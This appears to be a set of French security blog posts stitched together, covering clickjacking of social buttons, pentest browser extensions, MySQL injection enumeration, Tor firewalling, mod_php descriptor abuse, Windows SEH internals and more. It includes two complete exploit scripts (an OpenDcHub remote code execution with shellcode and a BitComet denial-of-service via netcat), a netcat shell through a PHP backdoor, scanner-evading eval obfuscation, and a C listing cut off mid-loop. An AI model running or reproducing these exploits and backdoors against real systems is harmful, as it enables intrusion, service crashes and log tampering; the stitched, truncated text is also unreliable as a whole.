J’en ai profité pour faire une bonne mise à jour de WP et de virer ses plugins, tous plus pourris et inutiles les uns que les autres (et surtout chiant à garder à jour). J’ai gardé un seul petit plug-in fait maison pour gérer les stats (Piwik+Feedburner), et virer les spams. Même si Akismet est très efficace, il n’est pas équipé de détecteur de cons. C’est pourquoi j’ai décidé de mettre en place une réponse active sur le spam comment, dorénavant, chaque IP envoyant un commentaire contenant le moindre http:// ou autre subira une attaque par DDOS avec un débit de 1000 To/s pendant 65535 jours, les frais liés à la bande passante sont à la charge du spammeur.

J’ai aussi ouvert un petit channel IRC sur lequel j’idle 24/24, vous pouvez y accéder par le web ici.

On dirait que l’attaque clickjacking sur le nouveau bouton follow de twitter que j’ai publié ce matin fonctionne également sur le bouton +1 de google. Voir +1 exploit, le code est exactement le meme que pour le clickjacking twitter.

Il est possible de faire une attaque par clickjacking sur ce bouton : si une personne click n’importe où sur votre site alors celle-ci activera le bouton follow et vous suivra si elle est connectée à twitter. Voici comment ça marche :

• Il faut mettre en place une iframe transparente/invisible via CSS.
• Via javascript il faut capturer les mouvements de la souris.
• Quand la victime bouge la souris, il faut bouger l’iframe du twitter button de façon à ce qu’elle soit systématiquement en dessous du curseur de la souris.
• Si la victime click, elle cliquera donc automatiquement sur le bouton follow (qu’elle ne voit pas car il est invisible) et vous suivra automatiquement (s’il est déjà connecté à Twitter).
• Game over.

Le POC est ici, j’ai mis l’opacité du bouton follow à 40% de façon à ce que l’on voit bien l’iframe se déplacer en même temps que le curseur, bien sûr il est possible de la rendre totalement invisible….

J’utilise toutes ces extensions dans un profil utilisateur special dédié au pentest, il vaut mieux éviter d’utiliser 15 000 extensions simultanément dans Firefox pour des questions de stabilité/performance/ergonomie.

Cette liste représente quasiment l’intégralité des extensions que j’utilise pour les pentests, il y en a beaucoup moins que dans le catalogue FireCat, mais ça me suffit largement pour faire tout ce que je veux ;).

• UrlParams

Probablement l’extension dont je me sers le plus souvent, elle permet de modifier rapidement les paramètres GET/POST et le referrer. Ça me permet d’éviter d’avoir à utiliser Burp pour des opérations assez simples comme modifier les données POST.

• Hack Bar

Très pratique pendant l’exploitation des injections SQL, surtout quand les quotes sont bloqués, l’extension vous permet de convertir une chaine de caractère en son équivalent CHAR( ASCII )… Elle contient aussi quelques fonctions d’encodage et de chiffrement bien pratique. Un must have.

• Firebug

Très utilise pour le développement Web et donc très pratique pour le développement des exploits XSS. Je m’en sers principalement pour faire joujou avec la console Javascript, analyser la structure DOM et voir les requêtes javascript XHR faites en arrière-plan.

• Firecookie

Pour jouer avec les cookies.

• Force Content-Type

Très pratique lorsque le navigateur Firefox gère spécifiquement certains types de fichier comme les pdfs ou les fichiers audios, cette extension permet d’afficher directement le fichier en brut dans le navigateur et de ne pas lancer l’application. Utile lorsque l’on trifouille des pages qui génèrent dynamiquement un certain type de fichier.

• Web Developer

Encore une extension pour le développement web, elle est très utile pour effacer ses cookies, afficher les mots de passe en clair, désactiver le chargement des images, voir les commentaires… Il y a vraiment plein d’options très utiles…

• Yes Script

Contrairement à NoScript qui fonctionne sur un système de whitelist (tous les scripts sont bloqués par défaut, il faut les autoriser un par un), YesScript fonctionne sur un système de blacklist. Utile lorsque l’on audite des sites avec des animations Flash et Javascript qui consomme 99% du CPU :|…

• Foxy Proxy

En plus de permettre de changer rapidement de proxy, FoxyProxy offre la possibilité de choisir un proxy dynamiquement en fonction de l’URL.

• Torbutton

Indispensable lorsque l’on utilise Tor, bloque tous les tricks connus qui permettent de démasquer un utilisateur anonyme (historique, applet Java, Flash…). Bien sûr quand on utilise Tor, il vaut mieux être vraiment sûr que tout passe par Tor.

• Maltego Mesh

À la base Maltego est un outil spécialisé dans la recherche d’informations. Cette extension permet de mettre en évidence certains types d’information affichés sur une page comme des adresses IPs, des emails, des numéros de téléphone, des noms de famille… Bien pratique, cependant, je laisse cette extension désactiver par défaut, elle est instable consomme énormément de CPU.

• Modify Headers

Comme son nom l’indique, elle permet de modifier les en-têtes HTTP. Je me sers rarement de cette extension, je préfère passer par Burp.

• BugMeNot

Cette extension n’est pas vraiment en rapport avec les pentests mais je l’aime bien :). bugmenot.com recense des logins/passwords pour des milliers de sites. Elle vous permet de vous identifier en un click sur des sites demandant un compte utilisateur pour accéder à certaines sections… Gros gain de temps ;)

• Autofill Forms

Permet de remplir un profil utilisateur avec des paramètres prédéfinis (adresse email , nom, age, ville…). Fait gagner du temps.

Et voilà, c’est fini, la prochaine je balancerai peut être une liste de bookmarks intéressants…

#!/usr/bin/python
#
# OpenDcHub 0.8.1 Remote Code Execution Exploit
# Pierre Nogues - http://www.indahax.com
#
# Description:
#     OpenDcHub is a direct connect hub for Linux
#
#     OpenDcHub doesn't handle specially crafted MyINFO message which lead to a stack overflow.
#
# Affected versions :
#     OpenDcHub 0.8.1
#
# Plateforms :
#     Unix
#
# Usage :
#     ./exploit.py

import socket

host = '192.168.1.9'
port = 5000

# must not contain x36 x53 x00 bytes
# max shellcode size = 103 bytes use exploit v2 otherwise
shellcode="x33xc9xb1x13xbaxf6x1dxe7xfaxdbxdexd9x74x24"
shellcode+="xf4x5ex83xc6x04x31x56x0ax03xa0x17x05x0fx7d"
shellcode+="xf3x3ex13x2ex40x92xbexd2xcfxf5x8fxb4x02x75"
shellcode+="xb4x66xf5xb6xe3x97x37x51x9cx86x6bxfbx0fxc2"
shellcode+="x83x52xe0x9bx45x17x6axfdxddx55xeax58x59xbc"
shellcode+="x5bx65xa8xbfxd5xe0xcbx90x8dx3dx03x62x26x29"
shellcode+="x74xe6xdfxc7x03x05x4fx44x9dx2bxc0x61x50x2b"
shellcode+="x2b"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("$ValidateNick joseph|")

hax="$MyINFO $ALL joseph "
hax+=shellcode
for i in range(103 - len(shellcode)):
    hax+="A"
hax+="$"
hax+="x20x81x81x80" # esp
hax+="xedxf6xfexbf" # eip
hax+="S:-1|"

s.send(hax)
s.close()

"""
# V2
# more complex version working too, it have more space for the shellcode

hax="$MyINFO $ALL joseph AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
hax+="xFFxFFxFFxFE" # local var int len of commands.c:my_info() must be a negative value
hax+="TTTTUUUUVVVVWWWWXXXXYYYYZZZZBBBBCCCCEEEEEEE$"
hax+="x20x81x81x80" # esp
hax+="x80xf7xfexbf" # eip
hax+="xCCxCCxCCxCC" # useless var
hax+="x10xf0xfexbf" # this address + x20 will be overwritten by 4 bytes
# shellcode time
hax+="x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
hax+="x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
hax+=shellcode
hax+="|"
"""

#!/bin/sh
#
# BitComet <= 1.19 Remote DOS Exploit
# Pierre Nogues - http://www.indahax.com/
#
# Description:
#     BitComet is a torrent client
#
#     BitComet doesn't handle malicious DHT packet with an invalid bencoded message.
#
# Affected versions :
#     BitComet <= 1.19
#
# Plateforms :
#     Windows
#
# Usage :
#     ./exploit.sh ip port

if [ $# -ne 2 ]; then
    echo "./exploit.sh ip port"
    exit 1
fi

nc -u $1 $2 << .
d4294967285:y1:q1:t4:x001:q4:ping1:ad2:id20:01234567890123456789ee
.

Il faut savoir qu’une extension malicieuse peut être entièrement faite en JavaScript et être totalement portable. Les composants XPCom apportent des fonctions au langage JavaScript qui permettent de lancer des processus, sniffer les connexions HTTPS en clair, jouer avec les sockets (Proxy, UPNP…), récupérer les mots de passe stockés, accéder au système de fichiers, tout en bypassant le firewall…

D’après les dires du security blog, Mozilla utilise plusieurs scanners anti-malware pour éviter ce genre de désagrément :

These were not originally detected with the anti-malware scanning tools that we have been using.

Cependant, j’aimerai attirer votre attention sur un détail, JavaScript met à notre disposition de nombreuses possibilités pour obfuscer son code. Ces techniques sont couramment utiliser dans les attaques Web (iframe). Par exemple, la fonction eval() permet d’interpréter le code JavaScript passé en paramètre à cette fonction. Cela rend alors totalement useless les recherches par signature.

// var signature = "something_bad();";
var signature_crypt = "XAQDFQDFQSDFQSDF";
eval(decrypt(signature_crypt));

Bien sûr, il est possible que les supers scanners de Mozilla gère ce type d’obfuscation, mais en attendant, ils viennent de laisser passer deux malwares, et peut-être beaucoup plus… FEAR.

o For some UDP ports, Nmap will now send a protocol-specific payload
that is more likely to get a response than an empty packet is. This
improves the effectiveness of probes to those ports for host
discovery, and also makes an open port more likely to be classified
open rather than open|filtered. The ports and payloads are defined
in payload.cc. The ports that have a payload are 7 (echo),
53 (domain), 111 (rpcbind), 123 (ntp), 137 (netbios-ns), 161 (snmp),
177 (xdmcp), 500 (isakmp), 520 (route), 1645 and 1812 (radius),
2049 (nfs), 5353 (zeroconf), and 10080 (amanda). [David]

Par scan applicatif j’entends que nmap va envoyer des paquets contenants des données spécifiques au protocole du port concerné. Par exemple pour le port 53, nmap va envoyer une requête DNS et vérifier qu’il reçoit bien une réponse DNS afin de déterminer si le service est open.

Voici un petit extrait du nouveau fichier payload.cc qui contient les nouvelles requêtes :

/*
  These payloads are sent with every host discovery or port scan probe. Only
  include payloads that are unlikely to crash services, trip IDS alerts, or
  change state on the server.

  Some of them are taken from nmap-service-probes.
*/

static const char payload_GenericLines[] = "x0Dx0Ax0Dx0A";
static const char payload_DNSStatusRequest[] =
  "x00x00x10x00x00x00x00x00x00x00x00x00";
static const char payload_RPCCheck[] =
  "x72xFEx1Dx13x00x00x00x00x00x00x00x02x00x01x86xA0"
  "x00x01x97x7Cx00x00x00x00x00x00x00x00x00x00x00x00"
  "x00x00x00x00x00x00x00x00";

C’est une très bonne nouvelle, le scan de port UDP sera dorénavant beaucoup plus fiable et ne reposera plus uniquement sur l’absence de réponse ICMP pour déterminer si un port UDP est open (du moins pour les ports cités dans le changelog).

Exemple sur un serveur qui ne renvoie jamais les paquets ICMP:

pierre@linux:/pentest/scanning$ sudo nmap -sU -sS -pT:22,80,U:53,111 94.23.57.7

Starting Nmap 5.21 ( http://nmap.org ) at 2010-02-01 08:47 CET
Nmap scan report for ks301922.kimsufi.com (94.23.57.7)
Host is up (0.030s latency).
PORT    STATE         SERVICE
22/tcp  open          ssh
80/tcp  open          http
53/udp  open          domain
111/udp open|filtered rpcbind

Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds

Le premier tips c’est en utilisant la fonction PROCEDURE ANALYSE(). Look :

mysql> SELECT * FROM client WHERE idClient =1 PROCEDURE ANALYSE();

+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| Field_name              | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std    | Optimal_fieldtype     |
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| clientz.client.idClient | 1         | 1         |          1 |          1 |                0 |     0 | 1.0000                  | 0.0000 | ENUM('1') NOT NULL    |
| clientz.client.name     | toto      | toto      |          4 |          4 |                0 |     0 | 4.0000                  | NULL   | ENUM('toto') NOT NULL |
| clientz.client.pass     | 123       | 123       |          3 |          3 |                0 |     0 | 3.0000                  | NULL   | ENUM('123') NOT NULL  |
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
3 rows in set (0.00 sec)

Youpi, la requête nous liste les noms des colonnes, la table et la base de données concernées par la requête ! Malheureusement il y a un petit problème, le titre des colonnes du résultat est changé : Field_name | Min_value | Max_value | ... au lieu de idClient | name | pass. Concrètement, cela veut dire qu’on pourra profiter de ce petit truc uniquement si le codeur référence ces colonnes par index et pas par nom de table ( $row[0] et pas $row["idClient"] ), ce qui est plutôt rare…

Un autre truc (corrigé sur Mysql 5.1) que j’ai découvert sur le forum de sla.ckers (ou ailleurs), lorsque l’on a découvert le nom de la table on peut tester un truc dans le genre :

mysql> SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client LIMIT 1) = (1);

ERROR 1241 (21000): Operand should contain 3 column(s)

Youpi car ça nous retourne le nombre de colonnes, mais c’est maintenant que ça devient intéressant, toujours à l’aide des messages d’erreurs on va pouvoir lister le nom de chacune d’entre elles :

mysql> SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client UNION SELECT 1%0,2,3 LIMIT 1) = (1,2,3);

"Column 'idClient' cannot be null"

Super Youpi alors, mais en faite, ça ne marchera que si la colonne en question dispose de l’attribut NOT NULL :(

Bon allez, j’arrête de donner des petits trucs foireux, passons aux choses sérieuses avec ce script maison en PERL qui cherche les noms des tables à partir d’une wordlist :

pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -t -w=/pentest/wordlist/sql_tables_columns.txt
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION

[*] Table found : client

pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -c=client -w=/pentest/wordlist/sql_tables_columns.txt
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION

[*] Column found : name
[*] Column found : pass

Je me suis pas pris la tête pour dev le script, il faut bidouiller le code pour personnaliser l’attaque en fonction l’injection… J’espère que vous comprendrez, sinon tant pis :)

Bien sûr il vous faut une wordlist pour exécuter ce script (on laisse ce plaisant exercice au lecteur).

Passez de joyeuses fêtes !

Cependant, il reste un problème : Torbutton ne gère que les connexions liées à Firefox, pour les autres applications, comment s’assurer qu’elles utilisent uniquement le proxy tor ? Une très bonne solution consiste à gérer le problème à la racine, c’est à dire en autorisant uniquement les connexions du processus tor via un firewall. Voici comment faire avec iptables.

Tout d’abord, il est nécessaire de créer un utilisateur pour tor et d’exécuter le processus avec celui-ci. Vous pouvez lancer tor directement avec l’utilisateur en question ou bien lancer tor avec les droits root et entrer la ligne suivante dans le fichier de configuration torrc :

User tor

Ensuite il nous reste à configurer iptables :

# Vide les règles déjà présentes
iptables -F INPUT
iptables -F OUTPUT

# Bloque tout par défaut
iptables -P INPUT DROP
iptables -P OUTPUT DROP

# Autorise toutes les connexions locales
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT

# Autorise uniquement les processus de l'utilisateur tor à établir des connexions
iptables -A OUTPUT -m owner --uid-owner tor -j ACCEPT

# Accepte uniquement les connexions que l'on a initiées
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Sauvegarde le tout
iptables-save > /etc/iptables/tor

Et voilà, lors de l’utilisation de Tor on pourra mettre en place ces règles iptables afin d’être sur de communiquer uniquement via ce réseau.

iptables-restore < /etc/iptables/tor

Le mod_php ne ferme pas les descripteurs de fichiers dont il a hérité avant d’exécuter du code PHP, on se retrouve donc avec un certain de nombre de descripteurs très intéressants, par exemple lorsque l’on exécute le code suivant :

    print posix_getpid()."n";
    flush();
    sleep(30);

Et que l’on regarde ensuite tous les descripteurs de fichier ouvert via /proc/ ou lsof :

root@linux:~# l /proc/10927/fd
total 0
lr-x------ 1 root root 64 2009-12-07 12:34 0 -> /dev/null
l-wx------ 1 root root 64 2009-12-07 12:34 1 -> /dev/null
lrwx------ 1 root root 64 2009-12-07 12:34 10 -> anon_inode:[eventpoll]
lrwx------ 1 root root 64 2009-12-07 12:34 11 -> socket:[244519]
l-wx------ 1 root root 64 2009-12-07 12:34 2 -> /var/log/apache2/all.log
lrwx------ 1 root root 64 2009-12-07 12:34 3 -> socket:[7137]
lrwx------ 1 root root 64 2009-12-07 12:34 4 -> socket:[7138]
lr-x------ 1 root root 64 2009-12-07 12:34 5 -> pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 6 -> pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 7 -> /var/log/apache2/error.log
l-wx------ 1 root root 64 2009-12-07 12:34 8 -> /var/log/apache2/all.log
l-wx------ 1 root root 64 2009-12-07 12:34 9 -> /var/log/apache2/access.log

root@linux:~# lsof | grep 10927 | grep -v mem
apache2   10927   www-data  cwd       DIR               8,21     4096          2 /
apache2   10927   www-data  rtd       DIR               8,21     4096          2 /
apache2   10927   www-data  txt       REG               8,21   435528    6963211 /usr/sbin/apache2
apache2   10927   www-data  DEL       REG                0,9                7360 /dev/zero
apache2   10927   www-data    0r      CHR                1,3                3248 /dev/null
apache2   10927   www-data    1w      CHR                1,3                3248 /dev/null
apache2   10927   www-data    2w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    3u     sock                0,4                7137 can't identify protocol
apache2   10927   www-data    4u     IPv6               7138                 TCP *:www (LISTEN)
apache2   10927   www-data    5r     FIFO                0,6                7187 pipe
apache2   10927   www-data    6w     FIFO                0,6                7187 pipe
apache2   10927   www-data    7w      REG               8,21      200    6553939 /var/log/apache2/error.log
apache2   10927   www-data    8w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    9w      REG               8,21    14338    6553937 /var/log/apache2/access.log
apache2   10927   www-data   10u     0000                0,7        0         32 anon_inode

On peut voir que le processus en cours, qui n’est rien d’autre qu’un simple script php exécuté avec les droits d’Apache, possède des descripteurs de fichiers des logs Apache ouverts en écriture, un descripteur sur le socket en écoute sur le port 80…

Il est difficile de les manipuler directement via PHP, ce langage ne possède pas de fonctions assez bas niveau pour jouer avec des descripteurs de fichier. Cependant, PHP autorise par défaut des fonctions permettant d’exécuter un fichier binaire ( la fonction system() par exemple) :).

Le code suivant permet d’écrire n’importe quoi dans tous les logs Apache :

int main(int argc,char * argv[]){
    int fd;
    int flag,accmode,val;
    struct stat fileinfo;
    char buffer[1024] = "AAAAA";
    int count;

    for (fd=0; fd

Déterminer clairement quel est le fichier de log ouvert à partir d’un descripteur de fichier reste difficile, on obtient facilement l’inoeud (man fstat ) mais il reste à trouver le ou les répertoires qui possèdent cet inoeud, et avec les droits Apache, on aura pas forcément ceux nécessaires pour ouvrir lesdits répertoires.

J’étais parti pour faire un monstrueux log wiper, mais malheureusement le descripteur de fichier est ouvert en Write Only et il semble impossible de changer ce mode en Lecture / Ecriture sur un descripteur de fichier ( man fcntl )… On pourra quand même bien corrompre les fichiers de logs ou exploser la partition /log (voire / si on a affaire à un admin level 70 ).

Pas grave, on peut faire des trucs beaucoup plus intéressants grâce aux descripteurs de socket, on peut voir ici une preuve de concept terrible que j’ai découverte sur un bug report de php.net. Le script PHP hijack le socket en écoute sur le port 80, écoute à sa place et intercepte toutes les requêtes ! À la fin du bug report on peut lire que le bug est corrigé, pour ma part il est toujours actif sur une Ubuntu à jour.

La meilleure utilisation de cette vulnérabilité reste la backdoor PHP find-sock-shell de pentestmonkey. Un simple netcat sur le port 80 et on a bon petit shell bien user friendly, beaucoup plus pratique qu’une banale r57shell ou autre c99.

$ nc -v target 80
target [10.0.0.1] 80 (http) open
GET /php-findsock-shell.php HTTP/1.0

sh-3.2$ id
uid=80(apache) gid=80(apache) groups=80(apache)
sh-3.2$
... you now have an interactive shell ...

Longue vie à PHP.

Dans le même genre je connaissais wyd.pl mais en beaucoup moins pratique, car il fallait faire un script pour télécharger les sources HTML, alors qu’avec Cewl tout est fait en une seule ligne de commande (même s’il faudra faire un peu le ménage à coup de grep/diff/comm).

Le tool extrait également des adresses emails ainsi que les meta data des fichiers Doc et PDF (un peu comme metagoofil et theharverster qui utilise les moteurs de recherche).

Bon voici comment ça marche :

pierre@linux:/pentest/ig/cewl$ ./cewl.rb -w /tmp/wordlist.txt -d 1 -m 5 http://www.indahax.com
pierre@linux:/pentest/ig/cewl$ tail /tmp/wordlist.txt
whereis
which
win32
windows
wordpress
write
wrote
yahoo
yopmail
zombie

Facile non ? Bon j’ai rajouté une option max_word_length dans le script car je me retrouvais parfois avec des mots useless d’une longueur > 20.

Pour les feignants(noob?) comme moi qui ne jurent que par apt-get, les librairies nécessaires pour faire fonctionner le script ne sont pas dans les dépots. Il faut y aller à coup de gem install lib_ruby, elles sont installées dans /var/lib/gems/1.8/gems/nom_de_la_lib/lib/ alors que le path des librairies ruby est /usr/lib/ruby/1.8/nom_de_la_lib sur Ubuntu.

1. C’est quoi un SEH ?

C’est un gestionnaire d’exception qui permet au programmeur de gérer une exception lui même plutôt que de laisser le programme le faire (ce qui aboutit généralement à un ExitProcess() ). Concrètement ils sont représentés en C par les instructions __try / __except / __finally. Parmi les exceptions on peut distinguer :

• Les exceptions materielles : typiquement un ACCESS_VIOLATION ou DIVISION_BY_ZERO, c’est le style d’exception que l’on rencontre le plus souvent.
• Les exceptions logicielles : c’est le programmeur lui même qui créé ce type d’exception, il les déclenche à l’aide d’une fonction RaiseException() . Un programmeur peut par exemple créer une exception NOT_ENOUGH_MEMORY lorsqu’il n’arrive plus à allouer de mémoire.

Un SEH est responsable d’une portion de code sur laquelle il peut intercepter des exceptions. Dans cette section de code il peut également y avoir d’autre SEH qui gère eux aussi d’autre portion de code.

SEH1[
  //code protégé par SEH1
  SEH2[
    //code protégé par SEH2, SEH1
    SEH3[
      ...
    ]
  ]
]

Donc dans un programme on a pas un SEH mais plusieurs, et à différent niveau, lorsqu’un SEH ne gère pas une exception il la passe au SEH du niveau supérieur. En mémoire ils sont représentés sous forme d’une liste chainée dans la pile (on verra çà plus en détail après).

Que se passe-t-il lorsqu’une exception est déclenchée ?

Le système va passer en mode noyau, il va effectuer quelques opérations notamment un dump des registres du processeur ( le contexte ) qu’il va placer sur la pile du thread. Il repasse ensuite en mode utilisateur dans la fonction KiUserExceptionDispatcher() de ntdll.dll.

Si le processus est en cours de débgage le programme va passer la main au débuggeur qui va lui même gérer l’exception. S’il n’y a pas de débuggeur, ou qu’il ne gère pas l’erreur, l’exception va être retransmise au premier SEH, c’est à dire celui qui est le plus proche de là où a été générée l’exception. Ce gestionnaire va alors regarder s’il est capable de gérer l’exception :

• S’il en est capable, le SEH fait alors son traitement, par exemple il peut essayer d’obtenir des informations sur la cause de l’erreur pour générer des informations utiles au débuggage, ou bien il peut choisir d’essayer de corriger l’erreur par modification de variable, des registres… Dans tous les cas il pourra choisir de reprendre l’exécution là où l’erreur à eu lieu ou bien après la portion de code qu’il protège.
• S’il n’est pas capable de la gérer il la passe alors au SEH du niveau du dessus et ainsi de suite jusqu’à atteindre le dernier SEH.

Le comportement du dernier SEH peut dépendre des logiciels que vous avez installés sous Windows, mais sur un Windows par défaut, il va créer une boite de dialogue avec quelques informations sur l’état des registres et faire un appel à ExitProcess() pour quitter l’application. Si vous avez installé un debuggeur, Windows vous proposera de lancer le débuggeur Just In Time…

1. Au niveau assembleur

Les SEH sont stockés dans la pile sous forme d’une liste chainée. La structure d’un SEH est de la forme :

_EXCEPTION_REGISTRATION struc
     prev    dd      ?
     handler dd      ?
 _EXCEPTION_REGISTRATION ends

prev représente un pointeur sur le précédent SEH et handler est un pointeur vers la fonction qui va être appelée lorsqu’une exception sera levé.

Le début de cette liste chainée est stocké dans la TEB (Thread Environnement Block) dans le registre de segment fs en fs:[0]. Cela signifie également qu’une liste de SEH est propre à un thread et non à un processus.

fs:[0] pointe toujours vers le dernier SEH installé,c’est le premier qui sera appelé en cas d’exception.

Le premier SEH installé est différencié des autres par son pointeur prev qui a la valeur 0xFFFFFFFF, il est mis en place à la création du processus (dans BaseProcessStart ) et avant l’entrée dans le main()/WinMain() . Si une exception est déclenchée et qu’aucun SEH n’a géré cette exception, alors ce dernier SEH va appeler la fonction UnhandledExceptionFilter() . C’est cette fonction qui créé la boite de dialogue avec les infos sur les registres ou qui propose de lancer le debugeur en dernier recours (Le fameux Just In Time Debugging ) . Il est possible de modifier le comportement de ce seh en appelant la fonction SetUnhandledExceptionFilter() .

Pour mettre en place un SEH en assembleur on peut procéder de cette manière :

; adresse du handler
push handler
; adresse de la structure SEH précédente
push fs:[0]
; fait pointer fs:[0] vers notre nouveau SEH
mov fs:[0],esp
; ici le code protégé par le seh
; ...

;on enléve le SEH
pop fs:[0]
add esp,4
ret

; notre handler
handler:
; ...

Une fois dans le handler
Lorsque le handler d’un SEH est appelé, des informations concernant l’exception sont mis en place sur la pile :

La structure EXCEPTION_RECORD contient des informations sur l’exception comme :

• Le code de l’exception (ACCESS_VIOLATION, etc.)
• Les flags : par exemple ils permettent de savoir si c’est une exception non continuable, si on est dans l’appel du stack unwinding (2éme appel du handler cf après)…
• L’adresse où a eu lieu l’exception.

C’est à partir de cette structure que le handler va pouvoir déterminer s’il a la capacité de gérer une exception.

La structure CONTEXT permet d’avoir des informations sur l’état des registres lorsque l’exception a eu lieu, c’est cette structure qu’il faut modifier si on veut reprendre l’exécution à un autre endroit en modifiant EIP.

Et enfin un pointeur vers le SEH que l’on avait mis sur la pile pour garder la portion de code où a eu lieu l’exception. Le fait d’avoir un pointeur vers ce SEH signifie que l’on peut construire un SEH personnalisé afin d’y intégrer des informations supplémentaires. Par exemple, on pourrait avoir besoin d’avoir une adresse pour reprendre l’exécution à un endroit sûre. Voici un exemple de code qui exploite ce système de SEH étendue :

.386                      ; force 32 bit code
.model flat, stdcall      ; memory model & calling convention
option casemap :none      ; case sensitive

include c:masm32includewindows.inc

MYSEH STRUCT
	prev		DWORD ?
	handler	DWORD ?
	safeeip	DWORD ?
MYSEH ENDS

.code
start:

main PROC
assume fs:nothing

; on mets en place un SEH étendu
push safeip			; notre champ supplémentaire safeeip
push handler		; le handler
push fs:[0]			; l'adresse du SEH suivant

mov fs:[0],esp		; on installe notre seh

xor eax,eax
mov [eax],eax		; on génére un ACCESS_VIOLATION
jmp endx

handler:
; esp == ret eip
; esp + 0x04 == EXCEPTION_RECORD*
; esp + 0x08 == MYSEH*
; esp + 0x0C == CONTEXT

; est ce un ACCESS_VIOLATION ?
mov ebx,[esp+04h]
cmp (EXCEPTION_RECORD PTR [ebx]).ExceptionCode, 0C0000005h
jz AViol

; si ce n'est pas un ACCESS_VIOLATION on donne la main au handler suivant
mov eax,ExceptionContinueSearch
ret

AViol:
; si c'est un ACCESS_VIOLATION on reprend l'execution en myseh.safeeip
mov ebx,[esp+08h]	; ecx == MYSEH
mov ecx,[esp+0Ch]	; ebx == CONTEXT

mov edx,(MYSEH PTR [ebx]).safeeip
mov (CONTEXT PTR [ecx]).regEip, edx

mov eax, ExceptionContinueExecution
ret

safeip:
endx:
; on enléve le SEH et restaure l'ancien
pop fs:[0]
add esp,8

ret

main endp
end start

Le compilateur windows utilise ce système de SEH étendue en réalisant une structure beaucoup plus complexe que le EXCEPTION_REGISTRATION vu au début.

The stack unwinding

En réalité le handler d’un SEH qui ne gère pas une exception doit être appelé une seconde fois. Ce deuxième appel est déclenché par le handler qui a décidé de gérer l’exception, il va reparcourir la liste des SEH depuis le début et exécuter une deuxième fois le handler de chaque SEH qui le précède, en rajoutant le flag EH_UNWINDING au niveau des Exceptions Flag de la structure EXCEPTION_RECORD pour que les handlers puissent différencier les 2 appels.

Ici l’action est bien déclenchée par le handler qui gère l’exception et non par le système, c’est à dire que c’est au programmeur d’implémenter cette fonctionnalité. Cela peut être fait en appelant la fonction RtlUnwind() (cf l’article de J. Gorgon pour plus d’info ) .

Le rôle du stack unwinding est de nettoyer les variables de la portion de code qui a déclenché l’exception, par exemple c’est à ce moment qu’il est utile de fermer les handles, libérer la mémoire… Concrètement ce deuxième appel correspond au bloc __finaly en C.

De plus, si l’exécution reprend à partir d’un SEH de niveau supérieur, alors le stack unwinding est également responsable d’enlever de la liste des SEH tout ceux qui ont été mis après ce SEH (c’est à dire les SEH qui ne porte plus sur le code courant ).

Voilà c’est tout pour aujourd’hui, par la suite nous verrons comment sont implémentés les SEH dans les compilateurs, comment les exploiter lors d’un débordement de tampon et les nouvelles protéctions misent en place par Windows (Safe SEH).

Réferences :

http://www.microsoft.com/msj/0197/Exception/Exception.aspx

http://msdn.microsoft.com/en-us/library/swezty51(VS.80).aspx

Regardez plutôt comment ça marche :

Voici une commande que j’exécute avec un compte non privilégié dans une console lancé via l’inteface graphique :

[pierre@localhost ~]$ id
uid=500(pierre) gid=500(pierre) groups=500(pierre) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[pierre@localhost ~]$ whereis samba
samba:
[pierre@localhost ~]$ pkcon install samba
Simulating install            [=========================]
Installing packages           [=========================]
Getting information           [=========================]
Resolving dependencies        [=========================]
The following packages have to be installed:
 samba-common-3.4.2-47.fc12.i686	Files used by both Samba servers and clients
Proceed with changes? [N/y]   [=========================]
Installing                    [=========================]
Waiting for authentication    [=========================]
Resolving dependencies        [=========================]
Downloading packages          [=========================]
Testing changes               [=========================]
Installing packages           [=========================]
Scanning applications         [=========================]
[pierre@localhost ~]$ whereis samba
samba: /etc/samba /usr/lib/samba /usr/share/man/man7/samba.7.gz

En voyant ça, on pourrait se dire que cela pose des problèmes de sécurité et d’administration… Un simple utilisateur pourrait installer des logiciels avec des failles de sécurité, écraser, modifier des fichiers de configuration et surtout d’installer des fichiers suid root potentiellement vulnérables (encore faut il trouver LE package). D’ailleurs, sur les mailing list on peut lire plein de choses sympathiques, dont beaucoup dans le genre : FEDORA 12 REMOTE ROOT EXPLOIT, mais sans preuve de concept (oui tout de suite, ça devient beaucoup plus compliqué).

Avant de s’alarmer, il faut relativiser :

• Cette commande n’est utilisable qu’en local (graphique ou console). Si un pirate compromet un compte via SSH ou trouve une faille dans votre serveur Web et exécute des commandes via l’utilisateur Apache : il ne pourra pas installer de logiciels à partir des dépôts.
• Par défaut, seul les packages du repo signés par Fedora sont installables, or, Fedora les tient à jour, il faudrait donc un 0-day pour rooter le serveur (ce qui complique beaucoup la chose).
• J’ai remarqué en installant samba, que le service n’était pas lancé par défaut, il est donc impossible de lancer directement un service vulnérable via cette commande (à confirmer).
